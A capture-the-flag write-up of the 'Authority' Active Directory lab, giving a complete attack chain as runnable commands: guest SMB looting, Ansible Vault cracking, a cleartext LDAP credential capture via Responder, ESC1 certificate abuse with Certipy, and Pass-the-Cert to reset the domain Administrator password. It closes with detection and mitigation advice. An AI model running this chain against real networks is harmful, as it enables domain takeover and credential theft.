Overview#
Authority is a medium-difficulty Windows machine built around a chain of classic Active Directory misconfigurations. It starts with an anonymously readable SMB share containing Ansible automation, moves through cracking an Ansible Vault to unlock a PWM (password self-service) admin panel, abuses the panel’s “Test LDAP Profile” feature to capture cleartext service-account credentials, and finishes by exploiting a vulnerable AD CS certificate template (ESC1). Because the DC does not support PKINIT, the certificate is used over Schannel (Pass-the-Cert) to authenticate as Administrator and take over the domain.
The target is a domain controller for authority.htb.
Reconnaissance#
Nmap#
1
| nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.10.10.x
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows AD LDAP (Domain: authority.htb)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http
636/tcp open ssl/ldap
3268/tcp open ldap
3269/tcp open ssl/ldap
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
8443/tcp open ssl/http Apache Tomcat
9389/tcp open mc-nmf .NET Message Framing (ADWS)
47001/tcp open http Microsoft HTTPAPI httpd 2.0
|
The combination of ports 53, 88, 389/636, 3268/3269, 9389 and Kerberos immediately identifies a domain controller. The LDAP TLS certificate also leaks internal naming that is useful later:
1
2
| Subject Alternative Name: othername: UPN:[email protected],
DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
|
Two services stand out from a standard DC baseline: IIS on 80 and Apache Tomcat on 8443. Port 8443 serves TLS with a certificate whose CN is 172.16.2.118, hinting at an internally-configured web application rather than a stock DC service. Port 80 only returns the default IIS splash page and yields nothing further, so the interesting web surface is 8443.
SMB#
With signing required and null authentication allowed, guest access is worth checking. Using NetExec with the guest account and an empty password, both share enumeration and null bind succeed:
1
| nxc smb 10.10.10.x -u 'guest' -p '' -M spider_plus
|
1
2
3
4
5
6
7
8
9
10
11
12
| [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (Null Auth:True)
[+] authority.htb\guest:
Share Permissions Remark
----- ----------- ------
ADMIN$
C$
Department Shares
Development READ
IPC$ READ Remote IPC
NETLOGON
SYSVOL
|
The Development share is readable as guest. spider_plus shows it contains an Automation/Ansible tree with four roles: ADCS, LDAP, PWM, and SHARE. The presence of an ADCS role, combined with the machine name, is a strong signal that Active Directory Certificate Services is deployed - a detail worth noting for privilege escalation.
The whole share is pulled down recursively for offline analysis:
1
| smbclient "//10.10.10.x/Development" -U 'guest%' -c 'cd Automation; recurse ON; prompt OFF; mget *'
|
Initial Access#
Grepping the Ansible roles#
A broad grep across the downloaded playbooks surfaces several credentials:
1
| grep -rnEi "pass|password|pwd|user|bind|secret|vault" Ansible/
|
Useful hits:
1
2
3
4
| Ansible/PWM/ansible_inventory: ansible_user: administrator / ansible_password: Welcome1
Ansible/PWM/templates/tomcat-users.xml.j2: admin:T0mc@tAdm1n / robot:T0mc@tR00t
Ansible/ADCS/defaults/main.yml: ca_passphrase: SuP3rS3creT
Ansible/PWM/defaults/main.yml: pwm_admin_login / pwm_admin_password / ldap_admin_password (Ansible Vault)
|
The Tomcat credentials (T0mc@tAdm1n, T0mc@tR00t) don’t help - the Tomcat Manager is not exposed - and the inventory’s administrator:Welcome1 is a stale default that doesn’t authenticate. The real prize is in PWM/defaults/main.yml, which stores three Ansible-Vault-encrypted secrets:
1
2
3
4
5
6
7
8
9
10
11
| pwm_hostname: authority.htb.corp
pwm_admin_login: !vault |
$ANSIBLE_VAULT;1.1;AES256
...
pwm_admin_password: !vault |
$ANSIBLE_VAULT;1.1;AES256
...
ldap_admin_password: !vault |
$ANSIBLE_VAULT;1.1;AES256
...
|
Ansible Vault protects these values with AES-256 keyed from a single vault passphrase (PBKDF2-SHA256). If that passphrase is weak, all three blobs fall together.
Cracking the Ansible Vault#
The encrypted blob is converted into a John-compatible format and cracked with rockyou.txt:
1
2
| ansible2john hashes.txt > hash.txt
john hash.txt --fork=4 /usr/share/wordlists/rockyou.txt
|
1
2
3
4
| Loaded 1 password hash (ansible, Ansible Vault [PBKDF2-SHA256 ...])
Cost 1 (iteration count) is 10000 for all loaded hashes
!@#$%^&* (hashes.txt)
1g 0:00:00:05 DONE
|
The very first john hashes.txt ... rockyou.txt runs failed because John auto-detected the raw file as lotus85/tripcode instead of Ansible Vault. Running the blob through ansible2john first produces the correct $ansible$... hash and lets John load the right format.
With the vault password !@#$%^&*, the encrypted strings decrypt cleanly:
1
2
3
| ansible-vault decrypt hashes.txt --output decrypted.txt
# Vault password: !@#$%^&*
cat decrypted.txt
|
This is the PWM admin password. The same vault password also unlocks the PWM admin login (svc_pwm) and an LDAP admin password stored in the other two blobs.
PWM Configuration Editor#
Browsing https://10.10.10.x:8443/ redirects to /pwm/private/login - an instance of PWM, an open-source password self-service application that integrates with Active Directory over LDAP. The app is running in Configuration Mode, exposing a Configuration Manager and Configuration Editor that authenticate with a single password (no username). Default combinations fail, but the vault password we just recovered - pWm_@dm!N_!23 - logs straight into the Configuration Editor.
Inside the editor, the LDAP directory profile is configured with a proxy bind user:
1
2
| LDAP URL: ldaps://authority.htb.corp:636
LDAP Proxy User: CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb
|
Capturing svc_ldap over a rogue LDAP listener#
PWM exposes a Test LDAP Profile button that makes the server bind to the configured directory using the stored proxy credentials. If we point that connection at our own host over cleartext LDAP, the server will hand us the bind password.
The profile is edited to downgrade from ldaps://authority.htb.corp:636 to ldap://10.10.14.x:389, aimed at the attacking machine. Responder is started to catch the bind:
Clicking Test LDAP Profile triggers a cleartext bind to our listener:
1
2
3
| [LDAP] Cleartext Client : 10.10.10.x
[LDAP] Cleartext Username : CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb
[LDAP] Cleartext Password : lDaP_1n_th3_cle4r!
|
The key here is the protocol downgrade: LDAPS would encrypt the bind, but plain LDAP sends the simple-bind DN and password in the clear. PWM happily complies with the misconfigured profile and leaks svc_ldap:lDaP_1n_th3_cle4r!.
WinRM as svc_ldap#
svc_ldap is a member of Remote Management Users, so WinRM is available:
1
| evil-winrm -i authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
|
1
2
| *Evil-WinRM* PS C:\Users\svc_ldap\Desktop> type user.txt
[REDACTED_USER_FLAG]
|
Privilege Escalation#
Finding the vulnerable template#
Given the earlier ADCS hint, Certipy is run against the CA to look for vulnerable templates:
1
| certipy find -target authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -vulnerable -stdout
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| Certificate Authorities
CA Name : AUTHORITY-CA
DNS Name : authority.authority.htb
Certificate Templates
Template Name : CorpVPN
Enabled : True
Client Authentication : True
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Rights : AUTHORITY.HTB\Domain Computers
AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication.
|
CorpVPN is textbook ESC1: it allows the enrollee to supply an arbitrary Subject Alternative Name (EnrolleeSuppliesSubject) and the resulting certificate is valid for client authentication. That combination lets a low-privileged enrollee request a certificate that authenticates as any principal, including a Domain Admin, simply by setting the SAN/UPN.
Obtaining an enrollment-capable account#
The catch is enrollment rights: only Domain Computers, Domain Admins, and Enterprise Admins may enroll. svc_ldap is a user, not a computer, so a direct request is denied:
1
2
3
| [-] Got error while requesting certificate: code: 0x80094012 -
CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template
do not allow the current user to enroll for this type of certificate.
|
svc_ldap is an authenticated domain user, though, and the default MachineAccountQuota of 10 lets any domain user create machine accounts. That satisfies the Domain Computers enrollment requirement:
1
2
| impacket-addcomputer 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!' \
-computer-name 'ATTACKPC$' -computer-pass 'CertPass123!' -dc-ip 10.10.10.x
|
1
| [*] Successfully added machine account ATTACKPC$ with password CertPass123!.
|
Requesting a certificate as Administrator#
Using the new machine account, a certificate is requested from CorpVPN with the UPN set to the domain administrator:
1
2
| certipy req -u 'ATTACKPC$' -p 'CertPass123!' -target authority.htb \
-ca AUTHORITY-CA -template CorpVPN -upn [email protected] -dc-ip 10.10.10.x
|
1
2
3
| [*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Wrote certificate and private key to 'administrator.pfx'
|
Domain takeover via Pass-the-Cert#
The natural next step is to exchange the certificate for a Kerberos TGT, but that fails:
1
| certipy auth -pfx administrator.pfx -dc-ip 10.10.10.x
|
1
2
| [-] Got error while trying to request TGT: Kerberos SessionError:
KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
|
KDC_ERR_PADATA_TYPE_NOSUPP means the KDC does not support PKINIT, so certificate-based Kerberos pre-authentication is off the table. The certificate can still be used for client authentication over LDAP via Schannel - the Pass-the-Cert technique. Certipy exposes this directly with -ldap-shell:
1
| certipy auth -pfx administrator.pfx -dc-ip 10.10.10.x -ldap-shell
|
1
2
3
4
| [*] Connecting to 'ldaps://10.10.10.x:636'
[*] Authenticated to '10.10.10.x' as: 'u:HTB\Administrator'
# whoami
u:HTB\Administrator
|
We now hold an LDAP session authenticated as Administrator. From here there are several routes to code execution (e.g. writing RBCD on the DC object and requesting a service ticket). The most direct one available in the shell is simply resetting the built-in Administrator’s password:
1
2
3
4
| # change_password administrator
Got User DN: CN=Administrator,CN=Users,DC=authority,DC=htb
Attempting to set new password of: So_5:O1sJpl>7M@
Password changed successfully!
|
Resetting the domain Administrator password is destructive and would be avoided on a real engagement in favour of a non-invasive path such as RBCD or DCSync. In a lab it is the fastest way to convert LDAP admin access into an interactive shell.
With the new password, WinRM as administrator completes the compromise:
1
| evil-winrm -i authority.htb -u administrator -p 'So_5:O1sJpl>7M@'
|
1
2
| *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED_ROOT_FLAG]
|
Detection and Mitigation#
- SMB share exposure. Guest/anonymous read access to a
Development share leaked internal automation. Remove guest and Everyone/Anonymous ACLs from shares that carry infrastructure-as-code, and alert on share access from guest or null sessions. - Weak Ansible Vault passphrase. Vault protects secrets only as well as its passphrase;
!@#$%^&* fell to rockyou.txt in seconds and unlocked every encrypted value at once. Enforce a long, random vault passphrase and keep encrypted defaults/vars files out of readable shares. - PWM LDAP profile abuse. Allowing an app operator to reconfigure the directory connection (and downgrade LDAPS to cleartext LDAP) turns a “test connection” button into a credential-disclosure primitive. Take PWM out of Configuration Mode in production, protect the configuration password, and alert on outbound cleartext LDAP binds originating from application servers.
- AD CS ESC1. A template combining
EnrolleeSuppliesSubject with a client-authentication EKU lets any enrollee mint a certificate for an arbitrary principal. Remove the enrollee-supplies-subject flag, require manager approval, and tighten enrollment rights. Monitor CA issuance events (4886/4887) for certificates whose SAN/UPN does not match the requesting principal. - Default
MachineAccountQuota = 10. Letting ordinary users create computer accounts provided the Domain Computers enrollment right needed for the attack. Set ms-DS-MachineAccountQuota to 0 and delegate machine-account creation explicitly. - Pass-the-Cert over Schannel. Even without PKINIT support on the KDC, a client-auth certificate can authenticate to LDAP over Schannel. Monitor for certificate-based LDAP binds and anomalous domain password resets (4724/4738).
Lessons Learned#
- Secrets committed to infrastructure-as-code repositories are a recurring foothold; here a single weak vault passphrase unlocked the entire chain at once.
- A “test connection” feature that honours an attacker-controlled endpoint is a credential-disclosure primitive, not a convenience.
- Disabling PKINIT does not neutralise client-authentication certificates - LDAP over Schannel remains a viable authentication path.
Command Reference#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| # Recon
nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.10.10.x
nxc smb 10.10.10.x -u 'guest' -p '' -M spider_plus
smbclient "//10.10.10.x/Development" -U 'guest%' -c 'cd Automation; recurse ON; prompt OFF; mget *'
# Crack the Ansible Vault
grep -rnEi "pass|password|pwd|user|bind|secret|vault" Ansible/
ansible2john hashes.txt > hash.txt
john hash.txt --fork=4 /usr/share/wordlists/rockyou.txt
ansible-vault decrypt hashes.txt --output decrypted.txt # vault password: !@#$%^&*
# Foothold: PWM Configuration Editor (pWm_@dm!N_!23)
# Downgrade the LDAP profile to ldap://10.10.14.x:389 and catch the bind
sudo responder -I tun0
# Click "Test LDAP Profile" -> svc_ldap : lDaP_1n_th3_cle4r!
evil-winrm -i authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!' # user flag
# Privilege escalation: AD CS ESC1
certipy find -target authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -vulnerable -stdout
impacket-addcomputer 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!' \
-computer-name 'ATTACKPC$' -computer-pass 'CertPass123!' -dc-ip 10.10.10.x
certipy req -u 'ATTACKPC$' -p 'CertPass123!' -target authority.htb \
-ca AUTHORITY-CA -template CorpVPN -upn [email protected] -dc-ip 10.10.10.x
# Domain takeover: Pass-the-Cert (KDC lacks PKINIT) over LDAP/Schannel
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.x -ldap-shell
# change_password administrator
evil-winrm -i authority.htb -u administrator -p 'So_5:O1sJpl>7M@' # root flag
|